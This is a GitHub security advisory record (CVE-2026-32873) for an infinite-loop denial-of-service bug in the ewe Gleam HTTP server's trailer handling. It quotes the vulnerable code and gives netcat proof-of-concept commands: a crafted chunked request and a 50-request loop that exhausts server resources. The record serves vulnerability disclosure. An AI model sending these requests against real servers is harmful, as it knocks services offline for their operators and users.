{"id":"GHSA-4w98-xf39-23gp","summary":"Loop with Unreachable Exit Condition ('Infinite Loop') in ewe","details":"## Summary\n\newe's `handle_trailers` function contains a bug where rejected trailer headers (forbidden or undeclared) cause an infinite loop. The function recurses with the original unparsed buffer instead of advancing past the rejected header, re-parsing the same header forever. Each malicious request permanently wedges a BEAM process at 100% CPU with no timeout or escape.\n\n## Impact\n\nWhen `handle_trailers` (`ewe/internal/http1.gleam:493`) encounters a trailer that is either not in the declared trailer set or is blocked by `is_forbidden_trailer`, three code paths (lines 520, 523, 526) recurse with the original buffer `rest` instead of `Buffer(header_rest, 0)`:\n\n```gleam\n// Line 523 — uses `rest` (original buffer), not `Buffer(header_rest, 0)` (remaining)\nFalse -\u003e handle_trailers(req, set, rest)\n```\n\nThis causes `decoder.decode_packet` to re-parse the same header on every iteration, producing an infinite loop. The BEAM process never yields, never times out, and never terminates.\n\n**Any ewe application that calls `ewe.read_body` on chunked requests is affected.** This is exploitable by any unauthenticated remote client. There is no application-level workaround — the infinite loop is triggered inside `read_body` before control returns to application code.\n\n### Proof of Concept\n\n**Send a chunked request with a forbidden trailer (`host`) to trigger the infinite loop:**\n\n```sh\nprintf 'POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: host\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nhost: evil.example.com\\r\\n\\r\\n' | nc -w 3 localhost 8080\n```\n\nThis will hang (no response) until the `nc` timeout. The server-side handler process is stuck forever.\n\n**Exhaust server resources with concurrent requests:**\n\n```sh\nfor i in $(seq 1 50); do\n  printf 'POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: host\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nhost: evil.example.com\\r\\n\\r\\n' | nc -w 1 localhost 8080 &\ndone\n```\n\nOpen the Erlang Observer (`observer:start()`) and sort the Processes tab by Reductions to see the stuck processes with continuously climbing reduction counts.\n\n### Vulnerable Code\n\nAll three `False`/`Error` branches in `handle_trailers` have the same bug:\n\n```gleam\n// ewe/internal/http1.gleam, lines 493–531\nfn handle_trailers(\n  req: Request(BitArray),\n  set: Set(String),\n  rest: Buffer,\n) -\u003e Request(BitArray) {\n  case decoder.decode_packet(HttphBin, rest) {\n    Ok(Packet(HttpEoh, _)) -\u003e req\n    Ok(Packet(HttpHeader(idx, field, value), header_rest)) -\u003e {\n      // ... field name parsing ...\n      case field_name {\n        Ok(field_name) -\u003e {\n          case\n            set.contains(set, field_name) && !is_forbidden_trailer(field_name)\n          {\n            True -\u003e {\n              case bit_array.to_string(value) {\n                Ok(value) -\u003e {\n                  request.set_header(req, field_name, value)\n                  |\u003e handle_trailers(set, Buffer(header_rest, 0))  // correct\n                }\n                Error(Nil) -\u003e handle_trailers(req, set, rest)      // BUG: line 520\n              }\n            }\n            False -\u003e handle_trailers(req, set, rest)               // BUG: line 523\n          }\n        }\n        Error(Nil) -\u003e handle_trailers(req, set, rest)              // BUG: line 526\n      }\n    }\n    _ -\u003e req\n  }\n}\n```","aliases":["CVE-2026-32873"],"modified":"2026-05-05T15:56:18.395063Z","published":"2026-03-16T20:49:50Z","database_specific":{"cwe_ids":["CWE-825","CWE-835"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-03-16T20:49:50Z","nvd_published_at":"2026-03-20T02:16:35Z"},"references":[{"type":"WEB","url":"https://github.com/vshakitskiy/ewe/security/advisories/GHSA-4w98-xf39-23gp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32873"},{"type":"WEB","url":"https://github.com/vshakitskiy/ewe/commit/8513de9dcdd0005f727c0f6f15dd89f8d626f560"},{"type":"WEB","url":"https://github.com/vshakitskiy/ewe/commit/d8b9b8a86470c0cb5696647997c2f34763506e37"},{"type":"PACKAGE","url":"https://github.com/vshakitskiy/ewe"}],"affected":[{"package":{"name":"ewe","ecosystem":"Hex","purl":"pkg:hex/ewe"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.8.0"},{"fixed":"3.0.5"}]}],"versions":["0.10.0","0.8.0","0.8.1","0.9.0","1.0.0","1.0.0-rc1","1.0.0-rc2","1.0.1","2.0.0","2.0.1","2.0.2","2.0.3","2.1.0","2.1.1","2.1.2","2.1.3","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-4w98-xf39-23gp/GHSA-4w98-xf39-23gp.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}